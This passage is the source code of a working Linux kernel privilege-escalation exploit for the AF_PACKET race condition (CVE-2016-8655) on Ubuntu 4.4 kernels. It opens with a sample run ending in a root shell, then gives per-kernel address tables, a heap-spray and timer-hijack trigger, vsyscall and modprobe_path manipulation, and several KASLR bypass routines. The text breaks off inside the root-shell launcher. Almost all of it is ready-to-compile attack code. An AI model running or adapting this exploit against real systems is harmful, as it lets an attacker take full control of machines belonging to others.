Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
|
||||
user@ubuntu:~$ id
|
||||
uid=1000(user) gid=1000(user) groups=1000(user)
|
||||
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
|
||||
user@ubuntu:~$ ./chocobo_root
|
||||
linux AF_PACKET race condition exploit by rebel
|
||||
kernel version: 4.4.0-51-generic #72
|
||||
proc_dostring = 0xffffffff81088090
|
||||
modprobe_path = 0xffffffff81e48f80
|
||||
register_sysctl_table = 0xffffffff812879a0
|
||||
set_memory_rw = 0xffffffff8106f320
|
||||
exploit starting
|
||||
making vsyscall page writable..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 174222, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
vsyscall page altered!
|
||||
|
||||
|
||||
stage 1 completed
|
||||
registering new sysctl..
|
||||
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 30773, last val = 0)
|
||||
current packet version = 2
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
race not won
|
||||
|
||||
retrying stage..
|
||||
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
|
||||
sockets allocated
|
||||
removing barrier and spraying..
|
||||
version switcher stopping, x = -1 (y = 133577, last val = 2)
|
||||
current packet version = 0
|
||||
pbd->hdr.bh1.offset_to_first_pkt = 48
|
||||
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
|
||||
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
|
||||
closing socket and verifying.......
|
||||
sysctl added!
|
||||
|
||||
stage 2 completed
|
||||
binary executed by kernel, launching rootshell
|
||||
root@ubuntu:~# id
|
||||
uid=0(root) gid=0(root) groups=0(root),1000(user)
|
||||
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
|
||||
|
||||
Shoutouts to:
|
||||
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
|
||||
mcdelivery for delivering hotcakes and coffee
|
||||
|
||||
11/2016
|
||||
by rebel
|
||||
---
|
||||
Updated by <bcoles@gmail.com>
|
||||
- check number of CPU cores
|
||||
- KASLR bypasses
|
||||
- additional kernel targets
|
||||
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <poll.h>
|
||||
#include <pthread.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/sched.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions()
|
||||
int kernel = -1;
|
||||
|
||||
// New sysctl path
|
||||
const char *SYSCTL_NAME = "hack";
|
||||
const char *SYSCTL_PATH = "/proc/sys/hack";
|
||||
|
||||
volatile int barrier = 1;
|
||||
volatile int vers_switcher_done = 0;
|
||||
|
||||
struct kernel_info {
|
||||
char *kernel_version;
|
||||
unsigned long proc_dostring;
|
||||
unsigned long modprobe_path;
|
||||
unsigned long register_sysctl_table;
|
||||
unsigned long set_memory_rw;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
|
||||
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
|
||||
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
|
||||
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
|
||||
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
|
||||
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
|
||||
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
|
||||
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
|
||||
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
|
||||
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
|
||||
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
|
||||
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
|
||||
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
|
||||
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
|
||||
|
||||
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
|
||||
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
|
||||
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
|
||||
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
|
||||
{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
|
||||
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
|
||||
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
|
||||
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
|
||||
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
|
||||
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
|
||||
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
|
||||
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
|
||||
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
|
||||
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
|
||||
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
|
||||
};
|
||||
|
||||
#define VSYSCALL 0xffffffffff600000
|
||||
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
|
||||
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
|
||||
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
|
||||
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
|
||||
|
||||
#define KMALLOC_PAD 64
|
||||
|
||||
int pad_fds[KMALLOC_PAD];
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ctl_table {
|
||||
const char *procname;
|
||||
void *data;
|
||||
int maxlen;
|
||||
unsigned short mode;
|
||||
struct ctl_table *child;
|
||||
void *proc_handler;
|
||||
void *poll;
|
||||
void *extra1;
|
||||
void *extra2;
|
||||
};
|
||||
|
||||
#define CONF_RING_FRAMES 1
|
||||
|
||||
struct tpacket_req3 tp;
|
||||
int sfd;
|
||||
int mapped = 0;
|
||||
|
||||
struct timer_list {
|
||||
void *next;
|
||||
void *prev;
|
||||
unsigned long expires;
|
||||
void (*function)(unsigned long);
|
||||
unsigned long data;
|
||||
unsigned int flags;
|
||||
int slack;
|
||||
};
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void *setsockopt_thread(void *arg)
|
||||
{
|
||||
while (barrier) {}
|
||||
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *vers_switcher(void *arg)
|
||||
{
|
||||
int val,x,y;
|
||||
|
||||
while (barrier) {}
|
||||
|
||||
while (1) {
|
||||
val = TPACKET_V1;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
y++;
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
val = TPACKET_V3;
|
||||
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
if (x != 0) break;
|
||||
|
||||
y++;
|
||||
}
|
||||
|
||||
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
|
||||
vers_switcher_done = 1;
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define BUFSIZE 1408
|
||||
char exploitbuf[BUFSIZE];
|
||||
|
||||
void kmalloc(void)
|
||||
{
|
||||
while(1)
|
||||
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
|
||||
}
|
||||
|
||||
void pad_kmalloc(void)
|
||||
{
|
||||
int x;
|
||||
for (x = 0; x < KMALLOC_PAD; x++)
|
||||
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
|
||||
dprintf("[-] pad_kmalloc() socket error\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
pthread_t setsockopt_thread_thread,a;
|
||||
int val;
|
||||
socklen_t l;
|
||||
struct timer_list *timer;
|
||||
int fd;
|
||||
struct tpacket_block_desc *pbd;
|
||||
int off;
|
||||
sigset_t set;
|
||||
|
||||
sigemptyset(&set);
|
||||
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
|
||||
if (fd == -1) {
|
||||
dprintf("[-] target socket error\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pad_kmalloc();
|
||||
|
||||
dprintf("[.] done, sockets allocated\n");
|
||||
|
||||
val = TPACKET_V3;
|
||||
|
||||
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
|
||||
|
||||
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
|
||||
tp.tp_block_nr = 1;
|
||||
tp.tp_frame_size = getpagesize();
|
||||
tp.tp_frame_nr = CONF_RING_FRAMES;
|
||||
|
||||
// try to set the timeout to 10 seconds
|
||||
// the default timeout might still be used though depending on when the race was won
|
||||
tp.tp_retire_blk_tov = 10000;
|
||||
|
||||
sfd = fd;
|
||||
|
||||
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
|
||||
dprintf("[-] Error creating thread\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
|
||||
|
||||
usleep(200000);
|
||||
|
||||
dprintf("[.] removing barrier and spraying...\n");
|
||||
|
||||
memset(exploitbuf, '\x00', BUFSIZE);
|
||||
|
||||
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
|
||||
timer->next = 0;
|
||||
timer->prev = 0;
|
||||
|
||||
timer->expires = 4294943360;
|
||||
timer->function = (void *)func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
timer->slack = -1;
|
||||
|
||||
barrier = 0;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
while (!vers_switcher_done) usleep(100000);
|
||||
|
||||
l = sizeof(val);
|
||||
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
|
||||
|
||||
dprintf("[.] current packet version = %d\n",val);
|
||||
|
||||
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
|
||||
|
||||
if (pbd == MAP_FAILED) {
|
||||
dprintf("[-] could not map pbd\n");
|
||||
exit(1);
|
||||
} else {
|
||||
off = pbd->hdr.bh1.offset_to_first_pkt;
|
||||
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
|
||||
}
|
||||
|
||||
|
||||
if (val == TPACKET_V1 && off != 0) {
|
||||
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
|
||||
} else {
|
||||
dprintf("[-] race not won\n");
|
||||
exit(2);
|
||||
}
|
||||
|
||||
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
|
||||
|
||||
pthread_create(&a, NULL, verification_func, (void *)NULL);
|
||||
|
||||
dprintf("\n");
|
||||
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
|
||||
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
|
||||
dprintf("\n");
|
||||
|
||||
sleep(1);
|
||||
dprintf("[.] closing socket and verifying...\n");
|
||||
|
||||
close(sfd);
|
||||
|
||||
kmalloc();
|
||||
|
||||
dprintf("[.] all messages sent\n");
|
||||
|
||||
sleep(31337);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int verification_result = 0;
|
||||
|
||||
void catch_sigsegv(int sig)
|
||||
{
|
||||
verification_result = 0;
|
||||
pthread_exit((void *)1);
|
||||
}
|
||||
|
||||
void *modify_vsyscall(void *arg)
|
||||
{
|
||||
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
|
||||
unsigned long x = (unsigned long)arg;
|
||||
|
||||
sigset_t set;
|
||||
sigemptyset(&set);
|
||||
sigaddset(&set, SIGSEGV);
|
||||
|
||||
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
|
||||
dprintf("[-] couldn't set sigmask\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
signal(SIGSEGV, catch_sigsegv);
|
||||
|
||||
*vsyscall = 0xdeadbeef+x;
|
||||
|
||||
if (*vsyscall == 0xdeadbeef+x) {
|
||||
dprintf("[~] vsyscall page altered!\n");
|
||||
verification_result = 1;
|
||||
pthread_exit(0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void verify_stage1(void)
|
||||
{
|
||||
pthread_t v_thread;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
|
||||
|
||||
pthread_join(v_thread, NULL);
|
||||
|
||||
if(verification_result == 1) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not modify vsyscall\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void verify_stage2(void)
|
||||
{
|
||||
struct stat b;
|
||||
|
||||
sleep(5);
|
||||
|
||||
int x;
|
||||
for(x = 0; x < 300; x++) {
|
||||
|
||||
if (stat(SYSCTL_PATH, &b) == 0) {
|
||||
dprintf("[~] sysctl added!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
write(2,".",1);
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
dprintf("[-] could not add sysctl\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void exploit(unsigned long func, unsigned long arg, void *verification_func)
|
||||
{
|
||||
int status;
|
||||
int pid;
|
||||
|
||||
retry:
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (pid == 0) {
|
||||
try_exploit(func, arg, verification_func);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
wait(&status);
|
||||
|
||||
dprintf("\n");
|
||||
|
||||
if (WEXITSTATUS(status) == 2) {
|
||||
dprintf("[.] retrying stage...\n");
|
||||
kill(pid, 9);
|
||||
sleep(2);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
if (WEXITSTATUS(status) != 0) {
|
||||
dprintf("[-] something bad happened, aborting exploit attempt\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
kill(pid, 9);
|
||||
}
|
||||
|
||||
|
||||
void wrapper(void)
|
||||
{
|
||||
struct ctl_table *c;
|
||||
|
||||
dprintf("[.] making vsyscall page writable...\n\n");
|
||||
|
||||
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
|
||||
|
||||
dprintf("[~] done, stage 1 completed\n");
|
||||
|
||||
sleep(5);
|
||||
|
||||
dprintf("[.] registering new sysctl...\n\n");
|
||||
|
||||
c = (struct ctl_table *)(VSYSCALL+0x850);
|
||||
|
||||
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
|
||||
|
||||
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
|
||||
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
|
||||
c->procname = (char *)(VSYSCALL+0xf00);
|
||||
c->mode = 0666;
|
||||
c->proc_handler = (void *)(PROC_DOSTRING);
|
||||
c->data = (void *)(MODPROBE_PATH);
|
||||
c->maxlen = 256;
|
||||
c->extra1 = (void *)(VSYSCALL+0xe00);
|
||||
c->extra2 = (void *)(VSYSCALL+0xd00);
|
||||
|
||||
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
|
||||
|
||||
dprintf("[~] done, stage 2 completed\n");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
void check_procs() {
|
||||
int min_procs = 2;
|
||||
|
||||
int nprocs = 0;
|
||||
nprocs = get_nprocs_conf();
|
||||
|
||||
if (nprocs < min_procs) {
|
||||
dprintf("[-] system has less than %d processor cores\n", min_procs);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
dprintf("[.] system has %d processor cores\n", nprocs);
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
void detect_versions() {
|
||||
struct utsname u;
|
||||
char kernel_version[512];
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char *u_ver = strtok(u.version, " ");
|
||||
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
else
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void launch_rootshell(void)
|
||||
{
|
||||
int fd;
|
||||
char buf[256];
|
||||
struct stat s;
|
||||
|
||||
fd = open(SYSCTL_PATH, O_WRONLY);
|
||||
|
||||
